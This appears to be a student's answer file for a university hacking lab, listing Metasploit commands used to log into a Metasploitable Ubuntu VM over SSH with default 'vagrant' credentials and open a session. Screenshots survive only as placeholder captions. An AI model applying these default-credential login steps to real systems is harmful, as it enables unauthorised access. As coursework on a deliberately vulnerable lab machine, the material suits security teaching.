Faculty of Business, IT, and Management

HACK2200 Hacking and Exploits

Lab 3: Gaining Access

Answer File

1. Rename this answer file to include your exploit name in the file’s name.
2. The Machine You Chose to Exploit is: **MS3UBUNTU**
3. The Service You Chose to Exploit is: **OpenSSH on port 22**
4. The steps and commands you used to exploit the above service with screenshots are:

Type your commands and include your screenshots here. Remember, it is your responsibility to demonstrate the work was done on your laptop.

**SCREENSHOT #1 – SCANNING ALL UBUNTU PORTS**

Text

Description automatically generated

**SCREENSHOT #2 – EXPLOITING PORT 22 OPENSSH**

Commands used

1. **search ssh\_login**

A screenshot of a computer

Description automatically generated with medium confidence

1. using **use auxiliary/scanner/ssh/ssh\_login**

**SCREENSHOT #3 – SETTING UP THE PAYLOAD**

Commands used

1. **show options**
2. **set RHOSTS 192.168.156.128**
3. **set USERNAME vagrant**
4. **set PASSWORD vagrant**

Text

Description automatically generated

**SCREENSHOT #4 – ESTABLISHING THE SESSION**

Commands used

1. **run**
2. **sessions –** to view the active sessions

Text

Description automatically generated

**SCREENSHOT #5 – EXPLOITING THE VULNERABILITY AND GAINING ACCESS**

Commands used

1. **sessions -i 1**

**Text

Description automatically generated**

**SCREENSHOT #6 – CREATING FOLDER**

**Text

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Directory **syed\_hack\_lab\_3** created

**SCREENSHOT #7 – VERIFYING IN UBUNTU**

**Text

Description automatically generated**